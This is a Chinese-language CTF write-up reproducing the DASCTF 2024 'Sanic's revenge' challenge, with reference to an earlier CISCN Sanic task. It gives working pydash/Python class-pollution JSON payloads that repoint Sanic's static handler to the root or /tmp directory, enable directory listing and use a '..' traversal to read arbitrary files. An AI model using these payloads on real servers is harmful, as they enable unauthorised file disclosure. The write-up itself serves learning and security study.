复现这个之前先要学习下python的原型链污染(未学┭┮﹏┭┮)
之前学了Nodejs原型链污染,Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
先看给的源码
from  sanic import  Sanic  import  os  from  sanic.response import  text, html  import  sys  import  random  import  pydash  class  Pollute :      def  __init__ (self ):           pass    app = Sanic(__name__)   app.static("/static/" , "./static/" )   @app.route("/*****secret********"  )   async  def  secret (request ):      secret='**************************'        return  text("can you find my route name ???" +secret)   @app.route('/' , methods=['GET' , 'POST' ] )   async  def  index (request ):      return  html(open ('static/index.html' ).read())   @app.route("/pollute" , methods=['GET' , 'POST' ] )   async  def  POLLUTE (request ):      key = request.json['key' ]       value = request.json['value' ]       if  key and  value and  type (key) is  str  and  'parts'  not  in  key and  'proc'  not  in  str (value) and  type (value) is  not  list :           pollute = Pollute()           pydash.set_(pollute, key, value)           return  text("success" )       else :           log_dir = create_log_dir(6 )           log_dir_bak = log_dir + ".."            log_file = "/tmp/"  + log_dir + "/access.log"            log_file_bak = "/tmp/"  + log_dir_bak + "/access.log.bak"            log = 'key: '  + str (key) + '|'  + 'value: '  + str (value);                    os.system("mkdir /tmp/"  + log_dir)           with  open (log_file, 'w' ) as  f:               f.write(log)                    os.system("mkdir /tmp/"  + log_dir_bak)           with  open (log_file_bak, 'w' ) as  f:               f.write(log)           return  text("!!!此地禁止胡来,你的非法操作已经被记录!!!" )   if  __name__ == '__main__' :      app.run(host='0.0.0.0' ) 
 
我们看到Pollute 路由这段
@app.route("/pollute" , methods=['GET' , 'POST' ] ) async  def  POLLUTE (request ):    key = request.json['key' ]     value = request.json['value' ]     if  key and  value and  type (key) is  str  and  'parts'  not  in  key and  'proc'  not  in  str (value) and  type (value) is  not  list :         pollute = Pollute()         pydash.set_(pollute, key, value)         return  text("success" )     else :         log_dir = create_log_dir(6 )         log_dir_bak = log_dir + ".."          log_file = "/tmp/"  + log_dir + "/access.log"          log_file_bak = "/tmp/"  + log_dir_bak + "/access.log.bak"          log = 'key: '  + str (key) + '|'  + 'value: '  + str (value);                  os.system("mkdir /tmp/"  + log_dir)         with  open (log_file, 'w' ) as  f:             f.write(log)                  os.system("mkdir /tmp/"  + log_dir_bak)         with  open (log_file_bak, 'w' ) as  f:             f.write(log)         return  text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) 
 
这是一个处理 /pollute 路径的异步函数 POLLUTE,支持 GET 和 POST 方法。 
解析请求的 JSON 数据,获取 key 和 value。 
如果条件满足:
创建一个 Pollute 实例。 
使用 pydash.set_ 函数 设置 pollute 实例的属性。 
返回 “success” 文本。 
 
 
这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中 
 
payload:
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" :  "/" } 
 
这段json代码就是将file_or_directory设置为”/“我的基础还是很薄弱所以我们分析这个payload
__class__ : 访问当前对象的类。
 
__init__ : 访问类的构造函数。
 
__globals__ : 访问构造函数的全局命名空间,这允许攻击者访问应用的全局变量。
 
app.router.name_index.__mp_main__ : 试图访问Sanic应用的路由器中的name_index,其中__mp_main__表示模块的名称。
 
.static.handler.keywords.file_or_directory : 最终目标是访问并修改静态文件处理器的file_or_directory属性。
 
"/": 设置的值为根目录。(补充  :
file_or_directory 这个属性的作用通常是用于指示文件处理器处理的是文件还是目录。攻击者试图通过修改 file_or_directory 属性,将其值设置为 "/",可能导致服务器将根目录作为静态文件目录,从而暴露服务器上的敏感文件和目录。这种攻击利用了对关键属性缺乏适当验证和保护的漏洞。 )就可以实现任意文件读取
 
 
回显success,表面成功了
接着我们访问/static/proc/1/cmdline
inux系统中的/proc文件系统的路径,并通过应用的静态文件服务暴露出来
**/proc/1/cmdline**:这是一个文件,包含启动进程ID为1的进程时使用的命令行参数。 
 
显示当前的启动路径为/bin/bash/start.sh
我们继续打开这个路径
发现运行的py脚本
给了丢失的源码
from  sanic import  Sanicimport  osfrom  sanic.response import  text, htmlimport  sysimport  randomimport  pydashclass  Pollute :    def  __init__ (self ):         pass  def  create_log_dir (n ):        ret = ""          for  i in  range (n):             num = random.randint(0 , 9 )             letter = chr (random.randint(97 , 122 ))             Letter = chr (random.randint(65 , 90 ))             s = str (random.choice([num, letter, Letter]))             ret += s         return  ret          app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/Wa58a1qEQ59857qQRPPQ"  ) async  def  secret (request ):    with  open ("/h111int" ,'r' ) as  f:        hint=f.read()     return  text(hint) @app.route('/' , methods=['GET' , 'POST' ] ) async  def  index (request ):    return  html(open ('static/index.html' ).read()) @app.route("/adminLook" , methods=['GET' ] ) async  def  AdminLook (request ):         log_dir=os.popen('ls /tmp -al' ).read();     return  text(log_dir)      @app.route("/pollute" , methods=['GET' , 'POST' ] ) async  def  POLLUTE (request ):    key = request.json['key' ]     value = request.json['value' ]     if  key and  value and  type (key) is  str  and  'parts'  not  in  key and  'proc'  not  in  str (value) and  type (value) is  not  list :         pollute = Pollute()         pydash.set_(pollute, key, value)         return  text("success" )     else :         log_dir=create_log_dir(6 )         log_dir_bak=log_dir+".."          log_file="/tmp/" +log_dir+"/access.log"          log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak"          log='key: ' +str (key)+'|' +'value: ' +str (value);                  os.system("mkdir /tmp/" +log_dir)         with  open (log_file, 'w' ) as  f:              f.write(log)                  os.system("mkdir /tmp/" +log_dir_bak)         with  open (log_file_bak, 'w' ) as  f:              f.write(log)         return  text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
 
@app.route("/Wa58a1qEQ59857qQRPPQ"  ) async  def  secret (request ):    with  open ("/h111int" ,'r' ) as  f:        hint=f.read()     return  text(hint) 
 
他这个给了secret的路径
访问看看
他说flag在app路由下,但是不知道他的名字 让我们找
@app.route("/adminLook" , methods=['GET' ] ) async  def  AdminLook (request ):
 
还给了/adminLook的路由
我们传入恶意的key 比如part 这一步很重要到后面来解释
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.parts" , "value" :  "/" } 
 
传入后我们发现多了两个文件
有点不一样是因为靶机过期了重新打开了
我们先切换到/tmp目录
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" :  "/tmp" } 
 
#对base属性进行污染
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base" , "value" :  "static/4KDN4B" } 
 
#打开目录功能
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" :  1 } 
 
访问static/4KDN4B../
最后得到flag的名字直接访问就好
在把静态文件目录换成为根目录
{ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" :  "/" } 
 
之前知道flag在app路由下
/static/app/45W698WqtsgQT1_flag
接下来解释上面遗留的问题
那么为什么要恶意操作被后台日志记录呢?
这里复现完了我先把大佬的wp链接放出来,因为我水平有限,基本上就是照着大佬wp来进行复现
有点为了复现而复现的丑陋感,到后面我会慢慢补好基础的┭┮﹏┭┮
https://www.cnblogs.com/gxngxngxn/p/18290489 
https://dawnrisingdong.github.io/2024/07/22/DASCTF-2024%E6%9A%91%E6%9C%9F%E6%8C%91%E6%88%98%E8%B5%9B-Sanic-s-revenge%E5%A4%8D%E7%8E%B0/#%E8%A7%A3%E9%A2%98 
https://blog.csdn.net/2301_79700060/article/details/140632405 
https://blog.csdn.net/qq_66013948/article/details/140582003?spm=1001.2014.3001.5502 
那么我们从
[gxngxngxn] 
大佬的文章来解释下
这套题目其实是ciscn2024 改的一道题目,先放链接
https://www.cnblogs.com/gxngxngxn/p/18205235 
国赛 sanic的源码
from  sanic import  Sanicfrom  sanic.response import  text, htmlfrom  sanic_session import  Sessionimport  pydashclass  Pollute :    def  __init__ (self ):         pass  app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] ) async  def  index (request ):    return  html(open ('static/index.html' ).read()) @app.route("/login"  ) async  def  login (request ):    user = request.cookies.get("user" )     if  user.lower() == 'adm;n' :         request.ctx.session['admin' ] = True          return  text("login success" )     return  text("login fail" ) @app.route("/src"  ) async  def  src (request ):    return  text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async  def  admin (request ):    if  request.ctx.session.get('admin' ) == True :         key = request.json['key' ]         value = request.json['value' ]         if  key and  value and  type (key) is  str  and  '_.'  not  in  key:             pollute = Pollute()             pydash.set_(pollute, key, value)             return  text("success" )         else :             return  text("forbidden" )     return  text("forbidden" ) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
 
/admin 路由那块就是编码成八进制可以进入/login,而且需要绕过waf大佬文章都讲了
直接看sanic那块污染链寻找
我们可以污染__file__然后进行任意文件读取,但是我们不知道flag的位置所以可以开启目录功能,有关的两个函数
directory_view  directory_handler 
只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了
这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由
获得这个路由之后我们需要调用到DirectoryHandler里
我们可以用name_index 方法发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view
从而实现污染达到列目录的目的
然后接下里就是污染directory
但是directory是一个对象,而它之前的值就是由其中的parts 属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?(这里我们需要知道tuple(元组:元组是 Python 中的一种数据结构,用于存储多个元素。与列表类似,元组也是一个序列,但与列表不同的是,元组是不可变的。这意味着元组一旦创建,其内容不能修改))
所以不能直接污染directory 
但在DirectoryHandler类中有Directory属性可以从这入手进入path对象parts的值最后是给了_parts这个属性发现是list
最终污染成/就成功了
到时候要去复现下国赛ciscn毕竟那天坐了一天牢
到这还没完还没
我们继续看DirectoryHandler类中handle方法中的逻辑:
当我们开启列目录功能后,就会进入
return  self ._index(    self .directory / current, path, request.app.debug )
 
解决上面遗留的问题就是从这开始发现这个目录路径是由Parts+current拼接出来的
self .directory / current,path, request.app .debug
 
目的就是让current变成.. 实现目录穿越
看下
current = path.strip("/" )[len (self .base) :].strip("/" ) 
 
从给定的路径中去除基本路径(`self.base`),然后返回剩余路径。首先,`path.strip("/")` 去除路径两端的斜杠,然后`[len(self.base):]` 取基本路径之后的部分,最后`.strip("/")` 再次去除剩余路径两端的斜杠 #可以看到current的值就是由path和base两个值决定的 
 
self.base是可控的
那么我们就得构造current的值 
关键就在于下面
所以实现目录穿越只要让path的值为static/一个目录/ current值为..就好了
但是这个目录怎么来?
file_or_directory 
可以改变静态文件的默认路径 我们只需要通过这个改变到其他目录,该目录下存在其他目录不就好了 
 
它可以改变static的默认路径
这就是上面为什么需要传入恶意的key,目的就是让日志记录,获得一个报错的目录
继续改变目录位置(上面改的是/tmp)然后修改其base的值为自己报错的目录
就看实现目录穿越了
ile_or_directory只是改变它识别的路径,并不会改变
self.directory中parts的值,这个列目录的值依旧是默认的